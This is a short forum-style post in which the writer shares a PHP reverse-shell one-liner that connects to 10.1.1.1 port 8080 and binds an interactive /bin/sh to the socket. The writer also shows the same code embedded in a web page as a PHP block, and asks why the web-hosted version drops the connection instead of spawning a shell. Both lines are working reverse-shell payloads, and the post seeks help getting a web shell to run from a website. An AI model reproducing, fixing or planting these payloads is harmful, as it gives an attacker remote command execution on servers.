Hello,
I am able to use the following code to test a shell connection using the local PHP interpreter which works fine:
php -r '$sock=fsockopen("10.1.1.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
However when ever I embed this code into my HTTP accessible web site as follows, I get a connection that drops straight away without spawning a shell:
<?php $sock=fsockopen("10.1.1.1",8080);exec("/bin/bash -i <&3 >&3 2>&3"); ?>
Is anyone able to point out where I am going wrong?
thanks,
Ll